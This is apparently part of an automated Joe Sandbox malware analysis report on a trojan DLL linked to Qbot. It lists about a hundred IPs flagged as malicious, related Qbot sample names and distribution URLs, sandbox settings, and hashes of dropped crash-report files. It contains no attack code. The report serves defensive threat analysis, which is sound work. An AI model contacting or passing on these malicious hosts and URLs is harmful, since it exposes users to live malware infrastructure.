www.linkedin.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.linkedin.com/talent/post-a-job?trk=homepage-basic_talent-finder-cta	GM1SFAFG.htm.31.dr	false	high
https://sg.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://nz.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/quality-assurance-jobs-h	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/pulse/topics/marketing-s2461/	GM1SFAFG.htm.31.dr	false	high
https://bo.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://cn.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://kr.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://sv.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/signup?trk=guest_homepage-basic_directory	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/legal/copyright-policy?trk=homepage-basic_footer-copyright-policy	GM1SFAFG.htm.31.dr	false	high
https://static.licdn.com/aero-v1/sc/h/e12h2cd8ac580qen9qdd0qks8	GM1SFAFG.htm.31.dr	false	high
https://about.linkedin.com/?trk=homepage-basic_directory_aboutUrl	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/search?trk=guest_homepage-basic_guest_nav_menu_jobs	GM1SFAFG.htm.31.dr	false	high
https://ec.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://about.linkedin.com?trk=homepage-basic_footer-about	GM1SFAFG.htm.31.dr	false	high
https://ie.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/business-software-and-tools?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://ae.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://uk.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/salary/?trk=homepage-basic_directory_salaryHomeUrl	GM1SFAFG.htm.31.dr	false	high
https://static.licdn.com/aero-v1/sc/h/75y9ng27ydl2d46fam5nanne5	GM1SFAFG.htm.31.dr	false	high
https://developer.linkedin.com/?trk=homepage-basic_directory_developerMicrositeUrl	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/directory/posts?trk=homepage-basic_directory_postsDirectoryUrl	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/operations-jobs-h	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/artificial-intelligence?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/pulse/topics/healthcare-s282/	GM1SFAFG.htm.31.dr	false	high
https://in.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/directory/featured?trk=homepage-basic_directory_featuredDirectoryUrl	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/audio-and-music?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/training-and-education?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://hk.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/visualization-and-real-time?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://at.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/pulse/topics/construction-management-s831/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/education-jobs-h	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/project-management?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/directory/articles?trk=homepage-basic_directory_articlesDirectoryUrl	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/pulse/topics/public-administration-s3697/	GM1SFAFG.htm.31.dr	false	high
https://za.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/directory/services?trk=homepage-basic_directory_servicesDirectoryUrl	GM1SFAFG.htm.31.dr	false	high
https://jm.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://no.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/directory/learning?trk=homepage-basic_directory_learningDirectoryUrl	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/entrepreneurship-jobs-h	GM1SFAFG.htm.31.dr	false	high
https://pe.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/directory/advice?trk=homepage-basic_directory_adviceDirectoryUrl	GM1SFAFG.htm.31.dr	false	high
https://au.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://static.licdn.com/aero-v1/sc/h/ddi43qwelxeqjxdd45pe3fvs1	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/administrative-assistant-jobs-h	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/legal/professional-community-policies?trk=homepage-basic_footer-community-g	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/legal/cookie-policy?trk=homepage-basic_footer-cookie-policy	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/signup?trk=guest_homepage-basic_nav-header-join	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/signup?trk=homepage-basic_join-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/sales-3?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/legal/cookie-policy	GM1SFAFG.htm.31.dr	false	high
https://static.licdn.com/aero-v1/sc/h/51t74mlo1ty7vakn3a80a9jcp	GM1SFAFG.htm.31.dr	false	high
https://static.licdn.com/aero-v1/sc/h/8fkga714vy9b2wk5auqo5reeb	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/data-science?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://cr.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/mobile-development?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://gt.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://ph.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/leadership-and-management?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/network-and-system-administration?trk=homepage-basic_learni	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/search?trk=guest_homepage-basic_guest_nav_menu_learning	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/customer-service-3?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/jobs-in-h	GM1SFAFG.htm.31.dr	false	high
https://fr.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://mobile.linkedin.com/?trk=homepage-basic_directory_mobileMicrositeUrl	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/purchasing-jobs-h	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/security-3?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/search?trk=homepage-basic_brand-discovery_intent-module-thirdBtn	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/it-help-desk-5?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/arts-and-design-jobs-h	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/directory/products?trk=homepage-basic_directory_productsDirectoryUrl	GM1SFAFG.htm.31.dr	false	high
https://business.linkedin.com/talent-solutions?src=li-footer&utm_source=linkedin&utm_medium=	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/directory/news?trk=homepage-basic_directory_newsDirectoryUrl	GM1SFAFG.htm.31.dr	false	high
https://zw.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://co.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://ru.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://ca.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://ke.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/career-development-5?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/mypreferences/g/guest-cookies	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/products?trk=homepage-basic_directory_productsHomeUrl	GM1SFAFG.htm.31.dr	false	high
https://static.licdn.com/aero-v1/sc/h/7kb6sn3tm4cx918cx9a5jlb0	GM1SFAFG.htm.31.dr	false	high
https://static.licdn.com/aero-v1/sc/h/8wykgzgbqy0t3fnkgborvz54u	GM1SFAFG.htm.31.dr	false	high
https://de.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://static.licdn.com/aero-v1/sc/h/2r8kd5zqpi905lkzsshdlvvn5	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/retail-associate-jobs-h	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/product-and-manufacturing?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/psettings/guest-controls?trk=homepage-basic_footer-guest-controls	GM1SFAFG.htm.31.dr	false	high
https://business.linkedin.com/marketing-solutions?src=li-footer&utm_source=linkedin&utm_medi	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/help/linkedin?lang=en&trk=homepage-basic_directory_helpCenterUrl	GM1SFAFG.htm.31.dr	false	high
https://pk.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://jp.linkedin.com/	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/learning/topics/human-resources-3?trk=homepage-basic_learning-cta	GM1SFAFG.htm.31.dr	false	high
https://static.licdn.com/aero-v1/sc/h/al2o9zrvru7aqj8e1x2rzsrca	GM1SFAFG.htm.31.dr	false	high
https://www.linkedin.com/jobs/real-estate-jobs-h	GM1SFAFG.htm.31.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.165.188.74	unknown	France	12322	PROXADFR	true
2.82.8.80	unknown	Portugal	3243	MEO-RESIDENCIALPT	true
70.160.67.203	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
75.143.236.149	unknown	United States	20115	CHARTER-20115US	true
83.110.223.61	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	true
84.215.202.8	unknown	Norway	41164	GET-NOGETNorwayNO	true
184.182.66.109	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
161.129.37.43	unknown	United States	64271	RIXCLOUD-INCUS	true
92.186.69.229	unknown	France	12479	UNI2-ASES	true
174.4.89.3	unknown	Canada	6327	SHAWCA	true
161.142.103.187	unknown	Malaysia	9930	TTNET-MYTIMEdotComBerhadMY	true
116.74.164.144	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	true
76.185.109.16	unknown	United States	11427	TWC-11427-TEXASUS	true
114.143.176.236	unknown	India	17762	HTIL-TTML-IN-APTataTeleservicesMaharashtraLtdIN	true
24.234.220.88	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
14.192.241.76	unknown	Malaysia	9534	MAXIS-AS1-APBinariangBerhadMY	true
123.3.240.16	unknown	Australia	9443	VOCUS-RETAIL-AUVocusRetailAU	true
173.88.135.179	unknown	United States	10796	TWC-10796-MIDWESTUS	true
47.34.30.133	unknown	United States	20115	CHARTER-20115US	true
183.87.163.165	unknown	India	132220	JPRDIGITAL-INJPRDigitalPvtLtdIN	true
184.181.75.148	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
124.149.143.189	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	true
70.49.205.198	unknown	Canada	577	BACOMCA	true
84.35.26.14	unknown	Netherlands	21221	INFOPACT-ASTheNetherlandsNL	true
37.14.229.220	unknown	Spain	12479	UNI2-ASES	true
102.159.223.197	unknown	Tunisia	37705	TOPNETTN	true
165.120.169.171	unknown	United States	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
79.92.15.6	unknown	France	15557	LDCOMNETFR	true
68.203.69.96	unknown	United States	11427	TWC-11427-TEXASUS	true
64.121.161.102	unknown	United States	6079	RCN-ASUS	true
96.56.197.26	unknown	United States	6128	CABLE-NET-1US	true
178.175.187.254	unknown	Moldova Republic of	43289	TRABIAMD	true
186.64.67.30	unknown	Argentina	27953	NODOSUDSAAR	true
188.28.19.84	unknown	United Kingdom	206067	H3GUKGB	true
125.99.76.102	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	true
103.87.128.228	unknown	India	55947	BBNL-INBangaloreBroadbandNetworkPvtLtdIN	true
86.248.228.57	unknown	France	3215	FranceTelecom-OrangeFR	true
59.28.84.65	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	true
76.86.31.59	unknown	United States	20001	TWC-20001-PACWESTUS	true
147.147.30.126	unknown	United Kingdom	6871	PLUSNETUKInternetServiceProviderGB	true
96.87.28.170	unknown	United States	7922	COMCAST-7922US	true
75.109.111.89	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	true
78.92.133.215	unknown	Hungary	5483	MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU	true
88.126.94.4	unknown	France	12322	PROXADFR	true
124.122.47.148	unknown	Thailand	17552	TRUE-AS-APTrueInternetCoLtdTH	true
85.57.212.13	unknown	Spain	12479	UNI2-ASES	true
47.205.25.170	unknown	United States	5650	FRONTIER-FRTRUS	true
95.45.50.93	unknown	Ireland	5466	EIRCOMInternetHouseIE	true
80.12.88.148	unknown	France	3215	FranceTelecom-OrangeFR	true
69.133.162.35	unknown	United States	11426	TWC-11426-CAROLINASUS	true
151.62.238.176	unknown	Italy	1267	ASN-WINDTREIUNETEU	true
205.237.67.69	unknown	Canada	11290	CC-3272CA	true
201.143.215.69	unknown	Mexico	8151	UninetSAdeCVMX	true
94.30.98.134	unknown	United Kingdom	5413	AS5413GB	true
76.178.148.107	unknown	United States	10838	OCEANIC-INTERNET-RRUS	true
69.242.31.249	unknown	United States	7922	COMCAST-7922US	true
85.104.105.67	unknown	Turkey	9121	TTNETTR	true
92.239.81.124	unknown	United Kingdom	5089	NTLGB	true
76.16.49.134	unknown	United States	7922	COMCAST-7922US	true
201.244.108.183	unknown	Colombia	19429	ETB-ColombiaCO	true
103.42.86.42	unknown	India	133660	EDIGITAL-ASE-InfrastructureandEntertainmentIndiaPvtLt	true
103.144.201.56	unknown	unknown	139762	MSSOLUTION-AS-APSolutionBD	true
116.120.145.170	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
103.139.242.6	unknown	India	138798	MUTINY-AS-INMutinySystemsPrivateLimitedIN	true
70.28.50.223	unknown	Canada	577	BACOMCA	true
98.145.23.67	unknown	United States	20001	TWC-20001-PACWESTUS	true
81.229.117.95	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	true
89.129.109.27	unknown	Spain	12479	UNI2-ASES	true
45.51.102.225	unknown	United States	20001	TWC-20001-PACWESTUS	true
27.109.19.90	unknown	India	17625	BLAZENET-IN-APBlazeNetsNetworkIN	true
122.186.210.254	unknown	India	9498	BBIL-APBHARTIAirtelLtdIN	true
79.77.142.22	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	true
122.184.143.86	unknown	India	9498	BBIL-APBHARTIAirtelLtdIN	true
50.68.186.195	unknown	Canada	6327	SHAWCA	true
213.55.33.103	unknown	France	49902	SRR-ASFR	true
180.151.229.230	unknown	India	10029	SHYAMSPECTRA-ASSHYAMSPECTRAPVTLTDIN	true
12.172.173.82	unknown	United States	2386	INS-ASUS	true
47.199.241.39	unknown	United States	5650	FRONTIER-FRTRUS	true
79.168.224.165	unknown	Portugal	2860	NOS_COMUNICACOESPT	true
199.27.66.213	unknown	United States	40608	HCTNEBRASKAUS	true
176.142.207.63	unknown	France	5410	BOUYGTEL-ISPFR	true
90.29.86.138	unknown	France	3215	FranceTelecom-OrangeFR	true
149.74.159.67	unknown	United States	12479	UNI2-ASES	true
174.58.146.57	unknown	United States	7922	COMCAST-7922US	true
78.160.146.127	unknown	Turkey	9121	TTNETTR	true
223.166.13.95	unknown	China	17621	CNCGROUP-SHChinaUnicomShanghainetworkCN	true
58.186.75.42	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	true
65.95.141.84	unknown	Canada	577	BACOMCA	true
50.68.204.71	unknown	Canada	6327	SHAWCA	true
71.38.155.217	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	true
117.195.29.126	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	true
220.240.164.182	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	true
103.123.223.133	unknown	India	138329	KWS-AS-APKenstarWebSolutionsPrivateLimitedIN	true
198.2.51.242	unknown	United States	20001	TWC-20001-PACWESTUS	true
27.99.32.26	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	true
94.204.232.135	unknown	United Arab Emirates	15802	DU-AS1AE	true
109.50.149.241	unknown	Portugal	2860	NOS_COMUNICACOESPT	true
69.123.4.221	unknown	United States	6128	CABLE-NET-1US	true
74.136.224.98	unknown	United States	10796	TWC-10796-MIDWESTUS	true
200.84.200.20	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	true

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	879093
Start date and time:	2023-05-31 14:22:15 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	photographed.dat.dll
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@41/40@2/100
EGA Information:	Successful, ratio: 12.5%
HDC Information:	Successful, ratio: 18.5% (good quality ratio 17.2%) Quality average: 71.9% Quality standard deviation: 29.2%
HCA Information:	Successful, ratio: 100% Number of executed functions: 31 Number of non-executed functions: 64
Cookbook Comments:	Found application associated with file extension: .dll Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WerFault.exe, WMIADAP.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22, 52.182.143.212, 13.107.42.14, 8.250.157.254, 8.238.85.254, 8.248.131.254, 8.248.141.254, 8.238.85.126
Excluded domains from analysis (whitelisted): www-linkedin-com.l-0005.l-msedge.net, l-0005.l-msedge.net, fg.download.windowsupdate.com.c.footprint.net, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, watson.telemetry.microsoft.com, wu-bg-shim.trafficmanager.net
Execution Graph export aborted for target rundll32.exe, PID 3108 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 5684 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7136 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7216 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7332 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7340 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7348 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.

Simulations

Behavior and APIs

Time	Type	Description
14:23:23	API Interceptor	8x Sleep call for process: WerFault.exe modified
14:23:24	API Interceptor	1x Sleep call for process: loaddll32.exe modified
14:23:36	API Interceptor	9x Sleep call for process: wermgr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
91.165.188.74	A618.wsf	Get hash	malicious	Qbot	Browse
	Gfpgr.wsf	Get hash	malicious	Qbot	Browse
	README-wx0246.chm	Get hash	malicious	Qbot	Browse
	Orry.wsf	Get hash	malicious	Qbot	Browse
	Fdshkj.wsf	Get hash	malicious	Qbot	Browse
	Vzyf.wsf	Get hash	malicious	Qbot	Browse
	Cqi.wsf	Get hash	malicious	Qbot	Browse
	Fcahchf.wsf	Get hash	malicious	Qbot	Browse
	Sqtkl.wsf	Get hash	malicious	Qbot	Browse
	CleanedUp.wsf	Get hash	malicious	Qbot	Browse
	Vzyf.wsf	Get hash	malicious	Qbot	Browse
	Vzyf.wsf	Get hash	malicious	Qbot	Browse
	https://logicalloopholes.com/nit/utnon.php	Get hash	malicious	Qbot	Browse
	http://glondex.com/un/eosquis.php	Get hash	malicious	Qbot	Browse
	http://dlight.co.ke/imto/imto.php	Get hash	malicious	Qbot	Browse
	Pu.zip	Get hash	malicious	Qbot	Browse
	Cubicles.eml	Get hash	malicious	Qbot	Browse
	https://teachme.ust.md/ci/ci.php	Get hash	malicious	Qbot	Browse
	orb.wsf	Get hash	malicious	Qbot	Browse
	Yjn.wsf	Get hash	malicious	Qbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PROXADFR	F086.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	A649.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	F072.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	F086.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	A290.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	A649.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	5q4psw.msi	Get hash	malicious	Qbot	Browse	88.126.94.4
	15dasx.msi	Get hash	malicious	Qbot	Browse	88.126.94.4
	5q4psw.msi	Get hash	malicious	Qbot	Browse	88.126.94.4
	15dasx.msi	Get hash	malicious	Qbot	Browse	88.126.94.4
	licking.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	licking.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	main2.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	r3zg12.msi	Get hash	malicious	Qbot	Browse	88.126.94.4
	main.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	r3zg12.msi	Get hash	malicious	Qbot	Browse	88.126.94.4
	main.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	graphically.dat.dll	Get hash	malicious	Qbot	Browse	88.126.94.4
	KrAGtlhfH1.elf	Get hash	malicious	Mirai	Browse	78.246.139.109
	bfGStnWQjj.elf	Get hash	malicious	Mirai	Browse	88.172.65.1

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_34d063e1f8b4a0a973e2832d9ca94882ab2137_82810a17_1c1229dd\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9156252570439176
Encrypted:	false
SSDEEP:	192:ESsij0oXFfH4DmIwspjed+I/u7swS274It7c:0i9XFf4Dm9spjet/u7swX4It7c
MD5:	3D45E77052765A0325ED24F5C32FE837
SHA1:	3554301E099465233A13FB6A15B70FFD259E2AC0
SHA-256:	1A71042032C4DCCE12C32842FD14E08FCB8BBF8E36E1D0BEB14A03E5D092855D
SHA-512:	6F2C075626B13FF6272097F64206815F6FCC5EE7F0629B21077A844C214FE177BEFA8B216AD0AB9D93FC67D251659B22F57AB77CFE16F9B10EE75571063A0CBD
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.1.5.6.0.5.8.6.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.2.6.0.7.4.7.7.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.2.1.d.7.1.b.0.-.9.c.8.c.-.4.3.f.7.-.b.e.1.3.-.f.a.4.f.2.3.5.7.d.9.7.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.d.4.5.0.1.d.b.-.6.1.0.7.-.4.7.d.0.-.b.3.9.6.-.7.e.0.1.f.6.d.4.e.1.3.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.3.0.-.0.0.0.1.-.0.0.1.f.-.4.8.f.5.-.e.1.1.f.0.6.9.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.b.5.f.!.r.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_34d063e1f8b4a0a973e2832d9ca94882ab2137_82810a17_1dd23bb0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9161324687019822
Encrypted:	false
SSDEEP:	192:oZiy60oX4fH4DmIwspjed+I/u7swS274It7cW:CiysX4f4Dm9spjet/u7swX4It7cW
MD5:	C48F622A9257877736F21E30193E05F4
SHA1:	5972F9BDB9702E145B10A8787664745F348DA61C
SHA-256:	220664EA5E28581FE9DA5CCB5ADE0DE61335563B8080D42214B58F5DB1EA2652
SHA-512:	FD8EC429D4A13D85E619E6AEF99AFF66F0BBB7CA599F9B4895AF2BB8EA7B0D73A903393A76B28C8FFE431108E99946891F4084FF84A245DECDB73A199B1EAC3D
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.5.6.6.5.4.8.2.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.7.6.0.2.9.8.4.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.9.d.7.8.c.6.8.-.0.9.f.1.-.4.5.0.5.-.9.b.2.1.-.8.b.4.5.f.6.0.0.4.2.9.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.3.5.0.c.7.5.0.-.9.8.1.c.-.4.9.d.9.-.b.2.8.9.-.1.1.0.b.7.a.b.a.1.7.f.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.b.4.-.0.0.0.1.-.0.0.1.f.-.4.e.8.5.-.d.0.2.1.0.6.9.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.b.5.f.!.r.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_34d063e1f8b4a0a973e2832d9ca94882ab2137_82810a17_1de23ba0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9154605880972915
Encrypted:	false
SSDEEP:	192:qTBiz0oXtfH4DmIwspjed+I/u7swS274It7c:EitXtf4Dm9spjet/u7swX4It7c
MD5:	21515BB58173D099A814E9F5E66F2C78
SHA1:	BE0AFD5BA961AEA34A888A9DD76D308C161E1E5C
